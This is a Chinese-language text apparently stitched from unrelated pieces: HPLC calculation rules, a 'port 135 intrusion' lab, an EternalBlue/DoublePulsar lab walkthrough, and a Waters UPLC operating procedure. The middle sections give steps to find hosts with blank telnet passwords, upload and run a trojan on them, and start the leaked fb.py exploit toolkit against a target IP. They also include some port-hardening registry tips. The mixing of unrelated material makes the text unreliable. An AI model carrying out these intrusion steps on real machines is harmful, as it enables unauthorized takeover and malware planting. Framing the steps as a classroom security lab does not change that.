高效液相色谱法的计算方法 高效液相色谱法是用高压输液泵将具有不同极性的单一溶剂或不同比例的混合溶剂、缓冲液等流动相泵入装有固定相的色谱柱,经进样阀注入供试品,由流动相带入柱内,在柱内各成分被分离后,依次进入检测器,色谱信号由记录仪或积分仪记录。 1、对仪器的一般要求 所用的仪器为高效液相色谱仪。色谱柱的填料和流动相的组分应按各品种项下的规定。常用的色谱柱填料有硅胶和化学键合硅胶。后者以十八烷基硅烷键合硅胶最为常用,辛基键合硅胶次之,氰基或氨基键合硅胶也有使用;离子交换填料,用于离子交换色谱;凝胶或玻璃微球等,用于分子排阻色谱等。注样量一般为数微升。除另有规定外,柱温为室温,检测器为紫外吸收检测器。 在用紫外吸收检测器时,所用流动相应符合紫外分光光度法(附录ⅣA)项下对溶剂的要求。 正文中各品种项下规定的条件除固定相种类、流动相组分、检测器类型不得任意改变外,其余如色谱柱内径、长度、固定相牌号、载体粒度、流动相流速、混合流动相各组分的比例、柱温、进样量、检测器的灵敏度等,均可适当改变,以适应具体品种并达到系统适用性试验的要求。一般色谱图约于20分钟内记录完毕。 2、系统适用性试验 按各品种项下要求对仪器进行适用性试验,即用规定的对照品对仪器进行试验和调整,应达到规定的要求;或规定分析状态下色谱柱的最小理论板数、分离度和拖尾因子。 (1)色谱柱的理论板数(N,用于定量表示色谱柱的分离效率,简称柱效)。 在选定的条件下,注入供试品溶液或各品种项下规定的内标物质溶液,记录色谱图,量出供试品主成分或内标物质峰的保留时间tR(以分钟或长度计,下同,但应取相同单位)和半高峰宽(W h/2),按n=5.54(t R/Wh/2)2计算色谱柱的理论板数,如果测得理论板数低于各品种项下规定的最小理论板数,应改变色谱柱的某些条件(如柱长、载体性能、色谱柱充填的优劣等),使理论板数达到要求。 (2) 分离度(R)

135端口入侵

实验5 135端口入侵 一、实验目的 通过这项实验旨在使学生对135端口入侵有一定的了解,提高同学们的安全意识,掌握配置安全系统的能力。 二、实验任务 任务性质:黑客攻防 三、任务描述: 扫描局域网中开放的135端口,运用工具,开启telnet服务,登录对方主机,放入木马。 四、任务步骤: (1)用x-san扫描主机,发现开启135端口主机; (2)用ntscan扫描开启135端口主机,telnet登录密码是否为空; (3)发现telnet登录密码为空的主机,用recov启动telnet服务; (4)建立ftp服务器,将木马放入ftp服务器; (5)通过telnet登录ftp服务器,将木马上传上目标主机,并运行; (6)肉鸡完成。 五、总结关闭135端口,445端口,139端口,3389端口的方法。 端口关闭前查看开启端口:

1、关闭445端口经过注册表更改 [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\NetBT\Parameters] [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\NetBT\Parameters] 在“Parameters”项上,右键单击,选择“新建”——“DWORD值”。 将DWORD值命名为“SMBDeviceEnabled”。右键单击“SMBDeviceEnabled”值,选择“修改”。在“数值数据”下,输入“0”,单击“确定”按钮。 2、关闭135端口经过注册表更改 (1)在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] 项中把EnableDCOM的值改为“N” (2)在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc] 项中把DCOM Protocols 键值中删除 “ncacn_ip_tcp” (3)停用“Distributed Transaction Coordinator”服务 3、关闭3389 端口 (1)在我的电脑上点右键选属性-->远程,将里面的远程协助和远程桌面 两个选项框里的勾去掉

永恒之蓝3389漏洞原理详解解析

实验环境 ?操作机:Windows XP o IP : 172.16.11.2 ?操作机:Kali Linux o IP : 172.16.12.2 ?目标机:Windows 7 64位 o IP : 172.16.12.3 ?目标机:Windows Server 2003 o IP : 172.16.12.4 ?掌握工具的用法以及临时防御措施 实验步骤 实验工具 ?Metasploit:是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程等 ?Equation Group Tools:这是一个集成的工具包,里面包含了IIS6.0、445端口、3389端口、Rootkit等远程利用工具,本次试验我们主要用到它的445端口远程入侵功能,以及3389远程端口入侵功能。 实验内容 Shadow Brokers再次暴露出一份震惊世界的机密文档,其中包含了多个W indows 远程漏洞利用工具,可以覆盖大量的Windows 服务器,一夜之间所有Windows服务器几乎全线暴露在危险之中,任何人都可以直接下载并远程攻击利用,考虑到国内不少高校、政府、国企甚至还有一些互联网公司还在使用W indows 服务器,这次事件影响力堪称网络大地震。 影响版本

全球70% 的Windows 服务器,包括Windows NT、Windows 2000、Windo ws XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 200 8、Windows 2008 R2、Windows Server 2012 SP0 危害 攻击者通过执行脚本,使目标主机蓝屏重启,获取Windows目标主机权 限,对目标机器进行任意操作,攻击成本和利用条件都很低,只需在本地执行脚本,并设置相关参数。一旦攻击成功,攻击者能直接控制目标主机,甚至直接下载数据库,盗取商业机密,很多的政府、事业单位都会受到影响,影响极大,危害不言而喻。 步骤1:利用Eternalblue与Doublepulsar插件,验证445 SMB漏洞我们本步骤利用Eternalblue和Doublepulsar这两个"插件"来获取Windows 7 64位的系统权限。 其中Eternalblue可以利用SMB漏洞,获取Windows 7 系统权限 而Doublepulsar可以加载Metasploit生成的恶意DLL。 我们首先进入cmd命令行,在命令行中进入文件夹: cd C:\EQGRP_Lost_in_Translation-master/Windows 输入命令: fb.py //运行python文件 注:在一般情况下需要在工具根目录下创建listeningposts文件夹,否则运行文件时,会报错。 接下来依次填入对应信息: 172.16.12.3//目标IP 172.16.11.2//本地IP no //取消重定向 c:\logs //指定日志文件目录

Waters Acquity UPLC 超高效液相色谱仪

1.0目的 为了指导实验分析员在实验工作中正确使用WatersAcquityUPLC超高效液相色谱仪,特制定本规程。 2.0范围 适用于指导实验人员在实验工作中对WatersAcquityUPLC超高效液相色谱仪的操作。 3.0职责 3.1实验人员在实验工作中使用WatersAcquityUPLC超高效液相色谱仪时应遵循本 规程。 3.2部门负责人负责审核本规程并保证其实施。 3.3 QC部门负责日常运行的监管。 4.0 操作规程 4.1 试剂准备 使用色谱纯试剂配制的流动相和清洗液.强洗针液用较高比例的甲醇或乙腈的水溶液(如80/20),弱洗针液用纯水或含少量甲醇或乙腈的水溶液(如10/90),清洗柱塞密封垫(SealWash)溶液应使用纯水或5%~10%甲醇溶液。 4.2液相开机 4.2.1先打开UPLC所有模块电源(最后打开SO(SampleOrganizer)电源),打开Analystsoftware,点击ACQUITYConsole进入液相控制界面,图1。 图1 4.2.2连接液相

4.2.2.1自动启动液相:点击system,点击control,选择startupsystem,弹出图2控制界面,依次选择需要执行的项目。PrimeSolvents中选择需要进行SM(SampleManger)和BSM (BinarySolventManager)的相关项目。依次在Opitonal和EquilibratetoMethod中按实验 需要进行设置。然后点击start,仪器自动进行清洗等准备工作。如果BSM,SM,SO等显示 红色字体,说明仪器和软件连接失败,分别点击control,reset相关部分。 图2 4.2.2.2连接液相各个部分(如果BSM,SM,SO等显示红色字体,说明仪器和软件连接失败,分别点击control,reset)。选择BSM,点击control,选择Primesealwash,进行柱塞杆的 清洗。然后选择Prime A/BSolvents,选择A1(或A2)、B1(或B2)进行溶剂脱气操作, 时间设定> 5min, Prime时 流速已设 定,无需 改动,脱 气时 Degasser 的压力< 1psi。见 图3。

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